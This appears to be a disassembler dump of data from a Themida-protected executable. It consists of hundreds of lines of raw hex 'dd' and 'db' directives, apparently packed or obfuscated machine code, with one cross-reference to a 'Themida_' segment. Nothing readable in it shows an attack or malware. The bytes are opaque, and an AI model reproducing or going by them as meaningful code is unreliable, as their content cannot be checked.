dd 0F380858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 2EF93CC3h, 0E8BA0E07h, 9E990h, 58DE0000h
dd 491DA462h, 50A188E1h, 94EBBAB9h, 6A9003h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AF0C3C3h
dd 0F8988D9h, 0B8Eh, 5E800h, 0E1EB0000h, 59D19F1Ah, 75D8D89h
dd 0BB5105E2h, 3752325Ah, 9995FF5Bh, 0BB05E231h, 0A390E04h
dd 840FC00Bh, 30h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 98C35747h, 29E80A02h, 0E2017585h, 3ADE905h
dd 95090000h, 5E22451h, 4E8h, 12C00h, 0AE800h, 17260000h
dd 0FCA4A3B1h, 6BF2F669h, 8E8h, 0E1783700h, 0A526B3E9h
dd 9E9E8h, 30C00000h, 0F2C464D4h, 5B10B401h, 8B665059h
dd 24448BF8h, 11BF6604h, 0BF008BF7h, 0E90FCBh, 4244489h
dd 9E860h, 7D470000h, 9FED1A9Fh, 0E9209B4Ah, 12h, 6C85B121h
dd 66FBBDF0h, 95DC24C4h, 0FD22188Fh, 615FB15Eh, 699D3158h
dd 0FF05E20Eh, 0E20AB995h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0AA581646h
dd 0DE8h, 0A2ADF700h, 26E484CFh, 40AA2950h, 8D332974h
dd 5E20615h, 80B58D5Ah, 0F05E8F3h, 688h, 2D9D0100h, 0C705E207h
dd 34383106h, 53006A36h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 4B396DE7h, 0C7E9B7CEh, 2D370446h
dd 8D293134h, 5E214F5h, 846C7h, 57000000h, 6A59FCh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 64C35141h, 0A35E1FB8h
dd 0E9609AEBh, 0Eh, 0B03EEE98h, 37AE68F4h, 44A154DDh, 8E0F342Fh
dd 2, 8D615F52h, 0E8F38085h, 0B1BD3305h, 5005E20Eh, 11E9h
dd 1D41B200h, 526A9B44h, 54A652B5h, 9ED355F0h, 489A8A6h
dd 14E924h, 21620000h, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h
dd 9F4B78B1h, 95FF5218h, 5E23199h, 71D9529h, 0C00B05E2h
dd 3D840Fh, 11E90000h, 9E000000h, 7AF27F79h, 1197FFEDh
dd 0AE5C797Dh, 2AE9D643h, 1EEE9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1240982Bh
dd 0E8A524BBh, 4, 12Ch, 1E8D0Fh, 0E8600000h, 6, 0C07BAD86h
dd 0E95E78A1h, 0Bh, 7B14B8E3h, 0EC9DEE09h, 61B6C03Ah, 0A1BB6650h
dd 24448B57h, 0E0BA6604h, 50008B78h, 59D18B50h, 2444895Bh
dd 0BDBF6604h, 6A5889h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0E3FC96C3h, 1D5D8D8Bh, 95FF05E2h
dd 5E20AB9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 0FEC35343h, 3784C0F8h, 0B58D3563h, 5E8F380h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 6D266B25h
dd 4606C702h, 6A656C69h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 56BEC350h, 26A19589h
dd 0C75B05E2h, 6F6D0446h, 0CA8B636Eh, 6C0846C7h, 0B5737361h
dd 0C46C7B0h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EFC35242h
dd 0C316B9F7h, 0BD0350C2h, 5E2013Dh, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0B36666C3h
dd 80858DD5h, 2905E8F3h, 0E20BF1B5h, 0CE8B5005h, 66240489h
dd 33F3F281h, 319995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 548529C3h, 0B0148E9h
dd 0E2094195h, 0E6EE8005h, 840FC00Bh, 0Ch, 2CE9FE8Bh, 66000000h
dd 4DBAD381h, 0FFFA6BE9h, 53006AFFh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 49958BA1h
dd 8D05E221h, 0E27219B5h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 2B82DD2Dh
dd 0B80Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 89AB2FC3h, 0AFBB988h, 8E91A3Bh
dd 69000000h, 0F5385CA3h, 0FF4D2208h, 0C18D8BE6h, 8B05E221h
dd 0F404EBC1h, 0E9581E8Bh, 56Ch, 616D29AFh, 0CAD0D400h
dd 933F8377h, 656127AEh, 0CDC9D704h, 0DCECFB6h, 0B3261B87h
dd 5A80E1EDh, 0F94856h, 0D1501CBAh, 0F043C788h, 0D7171EF9h
dd 0D823696Eh, 0D5946499h, 0CB009B27h, 18B9C172h, 0ADAE0BFCh
dd 64FC18B9h, 0FF34030Fh, 29696ED3h, 6EBDEAB0h, 51B4F2E7h
dd 5BA2E6EEh, 59A591DBh, 4DFC1AA0h, 0F9C2CE0Ah, 92388476h
dd 0A4BEC6Fh, 0DBFC18B9h, 0E6145B6Ch, 1A680D06h, 0E825E766h
dd 19A7529Dh, 4A3A2482h, 337F7D3Ch, 6935A7AAh, 61D277F6h
dd 0ABFC1885h, 18854D0Eh, 0A3AF84FCh, 5217F3D4h, 0BB84E7A5h
dd 0FC188587h, 2D7846B5h, 147735A2h, 4CB480CAh, 4FC2B234h
dd 3A044F92h, 6139h, 696E0D00h, 0EB27ACFFh, 0E5526779h
dd 7586B986h, 2B9DFC18h, 0DFF9D45Bh, 1563A04h, 68000000h
dd 4FE8666Eh, 0FC18B90Eh, 5203EDCAh, 92B898EFh, 0F815B4A5h
dd 6933D7Eh, 0C333B2C9h, 0BA3DA4C7h, 0A3E5A9FCh, 2B6F67D3h
dd 39857534h, 5287FAA0h, 783B4E54h, 0A9E83381h, 18294F00h
dd 7CA986FCh, 6D6E9F6Bh, 599DC427h, 5287CE5Dh, 0E94E3154h
dd 0FC18B968h, 5A9FC2B9h, 67E1C95Ch, 1546E38Fh, 0CCFC18B9h
dd 72F43A77h, 0F9C73482h, 2D6B6CDDh, 5F6397DEh, 5222A4CCh
dd 41112DFh, 0A5B93Ah, 77360000h, 74E10482h, 0EFAE9753h
dd 5807A0EEh, 0FD6A1DA3h, 8F24C1FBh, 98A30435h, 9F25D699h
dd 0CBD7034Eh, 0DA4FF2B0h, 77B8BFA3h, 0B2F6FE37h, 14B5E26Bh
dd 6D2C5A2Ah, 40D92C6Ah, 0A56239D1h, 2659963Dh, 184AD081h
dd 912A01FCh, 0B9BB2DAEh, 0F297EE43h, 0DD5CC338h, 1856FB7Ch
dd 870BF1FCh, 0F1BAC9Bh, 4CF3C13Ah, 56EB6CCDh, 4D3AFC18h
dd 0DDEDA1Ah, 0B2F8FF66h, 0B78FC96Bh, 500AD70h, 3F223Ah
dd 6E040000h, 5DC4276Dh, 585E9BDAh, 18B94E0Fh, 1FA887FCh
dd 87E6AA50h, 0F7433335h, 7A46B206h, 6EDB810Dh, 7C3F2266h
dd 67D4377Dh, 0DC523F46h, 0C5FC18B9h, 0A17CB383h, 0E3A0413h
dd 1, 266A6E30h, 4CDD5CC7h, 91BAF24h, 0B8B982B6h, 0B2FC1884h
dd 0A9227947h, 1545D6ADh, 4E451E98h, 8572FDCEh, 98410007h
dd 79428B12h, 7A4AF4D2h, 6BEC4DCCh, 0A1FC181Ah, 181A5718h
dd 95B18EFCh, 96420DDEh, 3A7D8C0Ah, 14EDFEBAh, 0A5245B0Fh
dd 50ABF9E2h, 0C979C21Bh, 3801FA6Eh, 0E0793843h, 0E5A175D2h
dd 0CE714AF3h, 1D9C8309h, 0FA49BBBCh, 0DF176AF9h, 0DE0B40DBh
dd 0AF28190Dh, 0BAB592E9h, 0E1F9FA49h, 0D79821A0h, 0EF9FA49h
dd 0D6AEA831h, 0AD296F68h, 0E9D1BDCh, 719412C7h, 788309CEh
dd 6CBF03F9h, 89EFC787h, 47F3C365h, 0B6D5D304h, 8FE31405h
dd 8FB2AC6Ch, 0C0C6333Eh, 0A74CC841h, 0CFAA0C7Bh, 0AF6228FEh
dd 1C3FE69Ch, 141h, 9E1ADA9Dh, 9FDCE0Fh, 0D0577B18h, 0FADF3B77h
dd 86E55201h, 0F61C9A5Fh, 254046B3h, 2C7F3DBAh, 24D09396h
dd 0F7D00560h, 0CE0B774Fh, 0DE1659C8h, 0B10A43DAh, 3972AFD5h
dd 7DD93FE6h, 0ED000000h, 3A9F7918h, 0FC18B939h, 0B9E556F3h
dd 473CFC18h, 0B93D6CDBh, 0DE8180FDh, 0C74A9319h, 5EF5D344h
dd 0C0A0475Ah, 0FA0D9EE7h, 0FCBFFC18h, 0FF2BBCF8h, 5B1C6580h
dd 33FC18FDh, 0CBCC5BCCh, 4685BB93h, 79F2098Fh, 0C3B3BB0Ch
dd 0B3241E01h, 0AB2F96F5h, 1A5784E7h, 0AE3BBAADh, 0D1CE2D31h
dd 7D43B818h, 5770AD2Eh, 18719D0Eh, 0BAC2FFCh, 0FC18714Ah
dd 8F1BAC9Bh, 86B72AB0h, 0CF000000h, 0A7EBEFAEh, 0FDB61744h
dd 6CCD7C50h, 1FAD2CAh, 0D41F6EC5h, 75E26523h, 432D0B62h
dd 0C3C7E0BDh, 0D99A3FBEh, 8F9FA8Dh, 32A7AA33h, 3C481174h
dd 61F9FA8Eh, 347A6120h, 1B4364D1h, 9C1ADF2Bh, 0F4D84576h
dd 0D673F275h, 0F9FA8C65h, 0F566C7BCh, 0F7F9FA8Ch, 0AF92B806h
dd 0D704672Bh, 0EBAF279Ah, 1F825B90h, 0E381CDBAh, 3C4F2407h
dd 0C7C53275h, 387E7BE6h, 6B5B05EDh, 41C0E469h, 0CA8403F8h
dd 810D7A09h, 577B18DBh, 0B4B277D0h, 9CEB0201h, 93470609h
dd 27A130D3h, 4B80D30Fh, 8C0ACF72h, 0F0B62306h, 5A21CC95h
dd 0B2F45FF8h, 58374C2h, 692FA899h, 6624D312h, 981EDC07h
dd 84E75C60h, 891C9A5Dh, 0FD089446h, 0C4B03A78h
db 0B6h, 11h, 20h
byte_55DBFB db 13h ; DATA XREF: Themida_:004EEA18o
dd 0BAF19FC7h, 0B5347D4Dh, 0C7132314h, 0F40E99Fh, 0C69FC713h
dd 0CD4AED69h, 920572F9h, 64099D6h, 9117C02Eh, 0C5C33475h
dd 3DFA6h, 0A7E70000h, 2C686E9Dh, 5B6196D9h, 575B81C0h
dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
dd 8307CF76h, 8951F278h, 4BB53E1h, 1000000h, 0E9835BD9h
dd 240C8704h, 4B05685Ch, 4890000h, 1FE6824h, 2C890000h
dd 0EFBB5324h, 0B80A7074h, 10596FB0h, 0C1388A2Dh, 5D82905h
dd 5C1388Ah, 7EE2685Bh, 24890000h, 24048324h, 0FC685D04h
dd 8900000Fh, 4812404h, 5253824h, 8458F0Eh, 38086D81h
dd 8B0E0525h, 8956242Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 2434FF5Ch, 4C48358h, 0F97FF6E9h, 594C8FFh, 5AD88D20h
dd 0D259B6B7h, 170FF170h, 0E8FF9BB8h, 0FFC50305h, 4B6F10E0h
dd 63036A19h, 50CEF93Ah, 0E6189C4Dh, 233CB152h, 4963A4Fh
dd 67F45339h, 0D6F6A45Dh, 1F892C56h, 5A4997Bh, 0AB75117Dh
dd 1FA36F38h, 0E2361004h, 53F89152h, 5B7E325Ah, 8139B615h
dd 52F56E6Fh, 0F09D5E57h, 0B3AF3C4Ch, 493C5125h, 5931BD18h
dd 0D402526Ch, 1E11FE08h, 9089FA20h, 4BB7507Dh, 308D8D4Ah
dd 0F05E901h, 585h, 0EF35BB00h, 8D89184Fh, 5E20BE9h, 642BB866h
dd 76185C7h, 601805E2h, 10E90000h, 54000000h, 4F45B5D7h
dd 861B7E33h, 8AC94537h, 0C7CC8CBCh, 0E21B5585h, 5, 0AE800h
dd 9E950000h, 7218BFF0h, 4CCB185Eh, 1FBDB58Bh, 0FF5805E2h
dd 0E22361B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0DC4E382Fh, 0F029BE27h
dd 95FF7233h, 5E20B15h, 0AE6BBE66h, 95FF006Ah, 5E20AB9h
dd 28EBC08Bh, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh, 315E7D54h
dd 0B47C7AFBh, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 5CF5244Bh
dd 9B47220Ah, 2AE9h, 2404C700h, 0
dd 0E8h, 0ED815D00h, 5E9016Eh, 424448Bh, 6418589h, 0B805E2h
dd 8D000000h, 0E24C428Dh, 0B8E1FF05h, 6754h, 0BE8h, 8478E400h
dd 7797A5AFh, 4EFD9285h, 5BFAB70Fh, 668EC381h, 8A0F0000h
dd 1, 1977B9F5h, 0BF0F0000h, 8133FFC1h, 0D58E1E7h, 0D0815A06h
dd 35630925h, 6EDDEA81h, 81664E32h, 8142C3C6h, 3665D5F2h
dd 4870F77h, 66000000h, 81A1FCB8h, 0CE77EFF2h, 12E904h
dd 86190000h, 80646015h, 5B53FFC9h, 883A64E2h, 0D108EAD0h
dd 8FE38A52h, 83F18B03h, 810F04EBh, 6, 8F0Fh, 0E9810000h
dd 1, 14850Fh, 0FE8B0000h, 22E9h, 7FFDD00h, 9C8324C9h
dd 52B9F323h, 860F4EA2h, 3, 0E961FC60h, 0FFFFFF75h, 89967BEBh
dd 0E9C3C0CDh, 0AEh, 0D1FDB93Fh, 0BA206490h, 38F13C7h
dd 0D5F1B73Eh, 0BD596794h, 9D5E5F06h, 43B68B17h, 0EA10517Dh
dd 904938A6h, 0A1C08C0Ah, 0F1BB5718h, 47878EF9h, 0DA21676Eh
dd 0DFDD185Bh, 0B94E0FA8h, 0A887FC18h, 44077A1Fh, 78FD0894h
dd 6BF5E06Fh, 0CCFE3A89h, 2B5E8B96h, 9B2C7068h, 35205C8Fh
dd 2DF2FC18h, 59FC5B8Ch, 0FC1862A8h, 0DE9CDC64h, 746928FCh
dd 4D9EDF2Eh, 3E2h, 9DA71800h, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 25168F2h, 18E905E9h, 5FFF97Dh
dd 0F2B86FABh, 305E902h, 1904EBC5h, 0E94C86A4h, 519h, 913D797Fh
dd 7A6024D0h, 0C3CFD307h, 9531777Eh, 7D9927D4h, 5D9E1FC6h
dd 3F64B57h, 0AA5011BDh, 5089F8E6h, 61804C4Ah, 0F1BA97D8h
dd 7C74EF9h, 0D8FF696Eh, 0F3C84723h, 0B43F4EBBh, 87C67947h
dd 0E5174A50h, 0B00942D9h, 0E31457EAh, 9C5D04A5h, 4FFE6B1Eh
dd 0FC7DDA90h, 15FC18EAh, 79983D5Eh, 7CE78E5Fh, 0F5C3377Bh
dd 3843B806h, 0BC2746B3h, 4ACD7C38h, 18D36CEDh, 9BCEA5FCh
dd 0E48F585Eh, 0EE3D797Dh, 28F67067h, 3C9263CEh, 55BDC805h
dd 0A1A51BEBh, 36A30FE7h, 0E5176A70h, 14781B05h, 0F72C0057h
dd 586496EBh, 624B029h, 21CF9673h, 8772FD98h, 8FC4CA33h
dd 9C22D998h, 9CC6204Bh, 3C0D9AA8h, 0B2D9076Ch, 0A6B818Ah
dd 0B97DDECCh, 0F7BB2120h, 5B6196EBh, 0CACB67C0h, 96D0FC18h
dd 86B66B9Eh, 6A153A04h, 92000000h, 0E0204705h, 6344A5D7h
dd 8A2FAE87h, 0FC18B9C9h, 0D79A2318h, 1E016422h, 0B7109E5Fh
dd 18B9D36Eh, 1659C8FCh, 6422D5E5h, 4E9FD401h, 24F93004h
dd 8B3A0413h, 1, 22666EBFh, 5A1BBC3Fh, 8BFC18B9h, 1002BBCh
dd 0C811975Eh, 32494D89h, 274644B3h, 0FD493D7Fh, 5011BDF9h
dd 44E5E1A7h, 8D96C6D3h, 2BBCECD7h, 276D6E5Fh, 5D599DC4h
dd 64F5B4CEh, 36A40DF9h, 0B1DA136Ah, 0C4E53A56h, 9F5CAA9Ah
dd 43B4F511h, 3C7F2645h, 15D321BBh, 16BFA1A4h, 0D70342D9h
dd 0CE3BB0CBh, 3A8672FDh, 2F0741E3h, 43535F8h, 0B019983Ah
dd 0FC1897BFh, 43C01956h, 7Ah, 276D6E67h, 21CC5DC4h, 859D1AAAh
dd 1AFD9Eh, 0FCC30705h, 287464EBh, 3F857639h, 0BC386FECh
dd 9F28ADF8h, 880B8EF4h, 18892E2Fh, 3F88E7FCh, 0AF33F37h
dd 16C28584h, 19A5578Ah, 7667DAC0h, 6392DD28h, 38BEC625h
dd 787F3E4Ch, 3F62EB32h, 2CA9FCBAh, 4142EF9Bh, 32893A04h
dd 0BD000000h, 0C4276D6Eh, 0C8535F9Dh, 208E66E0h, 0F372F5BBh
dd 18B9E556h, 66473CFCh, 666EBAA0h, 0C07EDB22h, 0D9FC18B9h
dd 0BD10976Fh, 123A0413h, 1, 266A6E54h, 5D5B9CC7h, 8E66E0CEh
dd 0EEF4B820h, 0DD4C60EDh, 0FACDCA7Ch, 7C7F3E01h, 3A719536h
dd 9821A0E3h, 0F9FAADD7h, 0A90E310Eh, 0F9FAADA8h, 0B6B90279h
dd 0EA5F7B41h, 2FB8AFEDh, 41B5A014h, 0A4B52645h, 0E2999ED2h
dd 3A4B059Ah, 53FAC338h, 276B91D0h, 50023D86h, 0C530F9FAh
dd 0BD3DA4C7h, 50DD9E3Bh, 3F74F9FAh, 105ABBC2h, 8504DC24h
dd 339418C2h, 0ACF3B0Bh, 3C4F5586h, 0E54442BFh, 0EC57B6F4h
dd 91C267EBh, 40F9FA50h, 88BBEEBh, 502F2089h, 89E6F9FAh
dd 0FA50BFB0h, 0C01956F9h, 0D7AF09A5h, 0A2286E6Bh, 0E6FC29E4h
dd 11E863Fh, 40030000h, 0F6B4159Bh, 0F18B7B18h, 76E74006h
dd 0AFFC1893h, 1C9A47D0h, 0C0691855h, 1FACA72h, 145FAE85h
dd 4839A5E3h, 73F2098Fh, 49E50086h, 2EAB17EFh, 9CDF6268h
dd 83C85359h, 4FD10C3Ah, 477E3FE6h, 40000000h, 0D2557918h
dd 18B91475h, 97F64DFCh, 18B989CAh, 8D79E1FCh, 98D97EE1h
dd 49FC18B9h, 7110E9F2h, 1C8D2A5Dh, 0AEFC18B9h, 1BACEAEFh
dd 972AB08Fh, 7CCD3702h, 97307EFDh, 0FC18CBA6h, 0F2CB007Fh
dd 93AFh, 7B18D700h, 0EE51D057h, 1744A7EDh, 0D2CD6DB6h
dd 9CDF01FAh, 8C2D5C58h, 0F9FAA0CBh, 0E9C2D1Ah, 0E8ABEA31h
dd 90C166F0h, 41F9FAA0h, 252CBDEAh, 99E8F6B4h, 66C35A60h
dd 0F9FAA3CEh, 95E1D593h, 60232664h, 0F4922B79h, 0F76A5EC3h
dd 0F85DE374h, 839410C4h, 0F1CAB021h, 0E3FFA3A8h, 1A0D7A07h
dd 0E3194A8Dh, 0D3731546h, 0E677CCF7h, 526BD7BCh, 494F88CBh
dd 2AADD432h, 0D3B5CC8Dh, 0B62405F7h, 0ED5A93EAh, 22A292DCh
dd 0B116093Dh, 9CAB084h, 0F2F8E65Dh, 0D0577B18h, 0A5EBEE51h
dd 0BCBEBB04h, 18570201h, 0E8B42669h, 0D16EA26Fh, 318AC105h
dd 622EAB2Ah, 0D6FC2977h, 21206693h, 0CB5819BEh, 0E584F9F1h
dd 7EAF4E5Bh, 6C7DCA50h, 0D07178C1h, 0CA8C4061h, 4D4B8CFAh
dd 0B1F7E041h, 0AEECEB6Ah, 0FDC9735Fh, 444248B1h, 0B3B6F4E5h
dd 648705F0h, 0E44FD6F7h, 3, 6E9DA71Eh, 96D92C68h, 81C05B61h
dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
dd 0CF769519h, 0F2788307h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
dd 68241489h, 4A99h, 68243C89h, 57FEh, 68240489h, 1472h
dd 0BE243489h, 34A37F53h, 727E681h, 0EE813D37h, 54555A24h
dd 14BDC681h, 0EE816D8Dh, 4771BE8Bh, 545EF789h, 8124048Bh
dd 4C4h, 0BF575700h, 3FF502E4h, 4247C31h, 8408F5Fh, 0E4087081h
dd 0FF3FF502h, 81582434h, 4C4h, 2434FF00h, 4C4835Fh, 0F977F2E9h
dd 0C80718FFh, 894D8B8Eh, 7A1B82Ah, 0C50305E9h, 69D7E0FFh
dd 0A0FE0922h, 0D6A577D8h, 78705C47h, 0E36A7BCCh, 6E594364h
dd 0FA5E1B4Ah, 0A6352D3Dh, 9C2463F4h, 8AAF343Eh, 23C52FA1h
dd 0B635614h, 0C1431C0Eh, 57751278h, 0A8D06C67h, 0D871421Ah
dd 51BD109Eh, 62326BC6h, 65EA4FC7h, 0E5523EB2h, 0DA355706h
dd 0B80070F5h, 5861518Dh, 0EB5707DEh, 4EB45EFh, 442FA21Eh
dd 0D79E9h, 0ABD6800h, 6CE905E9h, 68FFF977h, 5E90BC6h
dd 0F97762E9h, 0C7C68FFh, 58E905E9h, 68FFF977h, 5E90D48h
dd 0F9774EE9h, 10CA68FFh, 44E905E9h, 68FFF977h, 5E91381h
dd 0F9773AE9h, 147B68FFh, 30E905E9h, 8AFFF977h, 0FF42484Ch
dd 5217B3F7h, 8DFC1AA6h, 0E3464C4Ah, 912EB4FAh, 6230ADF2h
dd 0C8D60564h, 317D7FC2h, 6523D495h, 0AB0C7579h, 0F9F1B1AAh
dd 84B3A7Bh, 0FF58CFCDh, 0F9F1B17Eh, 3B0FD897h, 0C4276D6Eh
dd 0B7535F9Dh, 0B4AB9F84h, 0FAC7A713h, 0D20B7E01h, 0C73CB9CCh
dd 0B7A6DBA4h, 33B5F9FAh, 13B43743h, 0F9FAB722h, 637E38FEh
dd 18061795h, 31EC9A23h, 9E3FE619h, 3Eh, 9D7B18A0h, 18B93B3Ch
dd 209DEAFCh
dd 32767E21h, 0DC166A9h, 2401FAD5h, 0D34FD84Fh, 28306097h
dd 602CAC13h, 0DE533C47h, 0CDF9FA40h, 9974BB8Bh, 363FE70Ch
dd 0Ch, 8004F0B3h, 0E28E4327h, 0B4000008h, 0D823696Eh
dd 0BC5A6099h, 8FB296BBh, 0FCA8D0Ch, 0B9B7B881h, 45B5FC18h
dd 0ADA92279h, 0CEACF5D6h, 0C101FAD8h, 5110136Ah, 5784E7ABh
dd 0A6102D76h, 0B822F9FAh, 0AA2E91F4h, 868A87E6h, 0ACA4392Bh
dd 9165275Bh, 0A79FD92Fh, 0E646AD60h, 43023Fh, 18240000h
dd 91D0577Bh, 9BDA2165h, 0BCE3585Eh, 256C7D3Bh, 0FAD1D284h
dd 32971601h, 0F9FAA101h, 0C4429BD0h, 3E331C6Fh, 2DF9FAA1h
dd 3EB02D6Ch, 0E8297F6Eh, 0B10A4797h, 974ABD89h, 343FE6AFh
dd 0D7h, 29696E0Eh, 0D38425B3h, 2FC18B9h, 7883F835h, 38847639h
dd 105F68EDh, 0DF46A5EBh, 0CA515F9Ch, 0C0393881h, 0B720A3FAh
dd 2DD94EF1h, 0ACF0E8B4h, 0C6C965ABh, 0E9A621E5h, 0DBFC18D6h
dd 0F72981Eh, 0F6B9CCCAh, 0D461D277h, 0FBB0FC18h, 7F485484h
dd 38BF9986h, 0A5020572h, 1FA876Dh, 2823AF84h, 0A700072Bh
dd 41FF380h, 195AFF7Eh, 0C8F7DFEBh, 473C6A73h, 565C81C0h
dd 0BE04F948h, 7E43D271h, 0A58C99FEh, 0A9Dh, 656125D3h
dd 0CED4D004h, 97337F7Bh, 796523D2h, 0C1CDD308h, 9F2CBAAh
dd 0AF2A1FBBh, 5684E5E1h, 0FCFD4C4Ah, 0D52C10BEh, 0F1B3C374h
dd 0AB1312F9h, 0A2E8EFAEh, 86C9125Bh, 0FE434F55h, 39C26FF9h
dd 435102A7h, 0AB80FC18h, 0B37A0CA2h, 18925846h, 6D368B7Bh
dd 0FC9D21DBh, 2F64EADFh, 26DF9F38h, 397601FAh, 0B6E885E2h
dd 7DFBF9FBh, 22CB0689h, 0DC603FE7h, 5A000000h, 0D823696Eh
dd 0CF5E6499h, 0C6A2D344h, 0E41947A9h, 0A6A57AC3h, 0E217FC18h
dd 0A488C96Eh, 0E259FC18h, 0A499DA7Fh, 0F348FC18h, 0B0291886h
dd 79B6FAE0h, 6448D522h, 0B32362E5h, 0E02794F7h, 0C912ABF9h
dd 1FAF751h, 67E871F0h, 0A5F9FAF6h, 0FAF65304h, 0A9B582F9h
dd 7E7965D2h, 0ED4AFDD1h, 41F2649h, 0F574EB40h, 0E6478D64h
dd 53F4AE3Bh, 0F7DE8AE2h, 0EF9833h, 1CA14F70h, 347860A7h
dd 0B02D6C93h, 5885E4E2h, 45782D4Ah, 0AEFBFE7Fh, 994C7h
dd 6A2EA800h, 0DDD91D6Ch, 4887031h, 6E2CAB9Eh, 0D6DC0160h
dd 0CBD4B3C8h, 23068C12h, 9DECEAB8h, 0F2B7535Fh, 5B1B8705h
dd 0B2CC8D2Ah, 1805F9F1h, 276D6ED2h, 8B11C6BBh, 0FCAF0394h
dd 57FFEA84h, 184841F2h, 6EDB90FCh, 6E83495Dh, 99D82369h
dd 0ECAA5060h, 1C59ACE8h, 0DD6C6AA7h, 9C8E5E9Ah, 3DA1A770h
dd 0BC842592h, 0D4F865D9h, 7A12C455h, 701FBB19h, 0B8F2857h
dd 4201FAD1h, 0F894B3F5h, 0BAA03FF6h, 198EB195h, 0A8ABACB8h
dd 77BA03FEh, 5DFAFCD2h, 0CD5817AEh, 0C47B6FF4h, 77782F63h
dd 76E946B4h, 0DEC4C237h, 0C3286E6Bh, 4ED6D154h, 0DE036207h
dd 12000008h, 473AA0E4h, 0BA8F0B8Fh, 1554723Eh, 4B3EA4E2h
dd 69860C92h, 0FAC8358Ah, 206E6DDCh, 8915C7BAh, 0FDBB3C0Dh
dd 3394EDD1h, 0F9F1B502h, 6E6852D3h, 0ECB22969h, 0C027B0B7h
dd 6EE8AF2Fh, 5B9016C1h, 2FB8FB82h, 2CD1F1F8h, 45D60766h
dd 88FF7D08h, 8770494Fh, 9ADB7C9Ah, 4BFC181Fh, 0C6345BFCh
dd 0E33F482Bh, 0F016B3B6h, 2B01FA75h, 0E2C55180h, 3368E7BFh
dd 38F4D0Ch, 3B3C9D1Ch, 0EAF9FAF5h, 2B5E4C9Dh, 44E56D68h
dd 0F9FAF513h, 0ED3875C2h, 0EA105F68h, 6236A3A6h, 86492D5Fh
dd 0EFA56DEEh, 1F7598DEh, 99DAA7CEh, 75F9FAC7h, 0F9FAB7F8h
dd 8CB397BCh, 186DBB2Bh, 8E1D6A04h, 0EF149247h, 0FE80DE5Ah
dd 12F9582Dh, 26000008h, 9BEEF4B0h, 0CEB35F5Bh, 2918860Ah
dd 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh
dd 1877031h, 0FA8D985h, 0F9F1B44Eh, 0AE5C9E87h, 44A7EBEFh
dd 50FDB617h, 7A6CCD7Ch, 8E01FAE3h, 3F372C19h, 7DAC8723h
dd 7FAB3C7Ah, 7A7AE500h, 0EE11903Eh, 0FA130849h, 5962D9F9h
dd 43DADE16h, 0CCEE876h, 0BBF06580h, 13CA2384h, 0B720F9FAh
dd 860CCEFFh, 0CD8E2BB4h, 4F9FA86h, 0EA4FF22Fh, 0F9FA8669h
dd 0ACFAC3B8h, 0E06AB4D7h, 18F16614h, 0A8DA7BFEh, 0E2AE2A9Dh
dd 0C689529Bh, 5B57800Eh, 44A71CA2h, 0AB3CDA17h, 0F9FA8396h
dd 0E9984CD2h, 0E8B62766h, 223F589Dh, 32D2712Ch, 92E74099h
dd 8BF9FAB9h, 0DC1F9B60h, 75A2F9E5h, 12DC1869h, 0FA9E84B5h
dd 70E146F9h, 0A1F9FA9Eh, 70F74CCAh, 0FA9E66D7h, 8BC0BFF9h
dd 9826D594h, 54FFC80Dh, 0FA9D7E0Bh, 28E4CF9h, 3D8378FBh
dd 12E2A4EEh, 1C6F35A4h, 1E5862DFh, 0A3591826h, 98458C1Fh
dd 0D7AF30Ah, 4541B5BCh, 565483C2h, 61258637h, 0B5D0D400h
dd 0FA91A7ECh, 1CE852F9h, 646226AEh, 46F9EF73h, 0FA914DE1h
dd 0BCCFA4F9h, 0C93372F5h, 1435A6C5h, 0F9FA9123h, 0DB2485F2h
dd 7598353Fh, 12C7C90Dh, 85CC5F94h, 0BA334A58h, 0F1149247h
dd 0E65A2A2Ch, 0C2704482h, 872CCC55h, 5677FEFCh, 4744FDD0h
dd 18952B4h, 18940000h, 77D0577Bh, 1FADDCFh, 0B7362906h
dd 428503F4h, 0B1B00997h, 0FED69E48h, 0ABB94481h, 0E811507Eh
dd 9B3CBFA2h, 0F9FAD1DAh, 0E051F60Bh, 31F9FAD1h, 410C0D7Ah
dd 1B2F7A3Ah, 2B741FA8h, 86BD7CF4h, 36F4701h, 77CAD0D6h
dd 8E10482h, 1B42FA0Ah, 7FE556F3h, 473C7130h, 55D3C8D6h
